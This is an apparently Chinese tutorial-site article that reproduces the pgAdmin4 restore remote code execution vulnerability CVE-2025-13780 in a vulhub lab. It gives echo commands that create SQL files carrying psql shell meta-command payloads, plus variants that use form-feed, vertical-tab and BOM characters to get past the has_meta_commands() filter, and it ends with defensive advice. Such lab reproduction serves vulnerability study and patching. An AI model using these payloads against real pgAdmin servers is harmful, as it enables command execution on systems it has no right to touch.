最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
pgAdmin4后台Restore功能远程代码执行漏洞CVE-2025-13780复现过程
时间:2026-06-02 16:55:01 编辑:袖梨 来源:一聚教程网
pgAdmin作为PostgreSQL数据库的主流管理工具,其9.11版本之前存在一个高危安全漏洞。攻击者可通过精心构造的SQL文件绕过安全检查,利用restore功能实现远程代码执行。
简介
pgAdmin是一款广受欢迎的开源数据库管理平台,为PostgreSQL提供强大的Web管理界面。在9.11版本之前,其restore功能存在严重安全隐患。该功能调用psql程序处理用户上传的SQL文件时,未能有效过滤特殊字符,导致攻击者可通过meta command执行系统命令。
搭建
搭建测试环境步骤如下:
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d
使用默认凭据[email protected]:vulhub登录系统。
复现
文件生成
准备测试文件:
echo -ne "SELECT 1;n! bash -c 'touch /tmp/hacked2'n" > test.sql
echo -ne "SELECT 1;rn! bash -c 'touch /tmp/hacked2'n" > test2.sql
echo -ne "SELECT 1;r! bash -c 'touch /tmp/hacked2'r" > payload.sql
开始"restore"
依次点击servers→输入密码→server - main - database - vulhub,右键选择restore功能。

上传sql文件
选择文件并上传:

点击"upload"按钮完成上传。
restore执行
将格式切换为"Plain"后执行payload。

else
测试其他文件时可能遇到安全拦截:

这是由于has_meta_commands()函数仅识别特定格式。可通过多种方式构造payload绕过检测:
# 垂直制表符
echo -ne "SELECT 1;x0c! ls>/tmp/ls" > payload_ff.sql# 换页符
echo -ne "SELECT 1;x0b! id>/tmp/id" > payload_vt.sql# UTF-8 BOM绕过
echo -ne "xefxbbxbf! echo utf_bom>/tmp/bom" > payload_bom.sql
防御
- 立即升级至pgAdmin 9.11或更高版本。
- 避免从不信任来源恢复PLAIN格式SQL文件。
- 加强文件内容过滤和命令执行隔离。
- 遵循最小权限原则配置服务账户。
该漏洞凸显了数据库管理工具安全性的重要性。通过及时更新和合理配置,可有效防范此类安全风险,确保数据库环境的安全稳定运行。
相关文章
- 星辰变归来法师怎么玩:星辰变归来高爆发法师输出技巧与连招教学 06-12
- Google AI开发者团队协作指南如何避免3个常见协作误区? 06-12
- 燕云十六声忙里偷闲成就攻略 成就忙里偷闲怎样完成 06-12
- 塔斯克巴英雄法师职业加点分享推荐 06-12
- 超自然行动组之海兔怪物介绍 06-12
- 三角洲行动s8蝶变体能训练任务如何过 06-12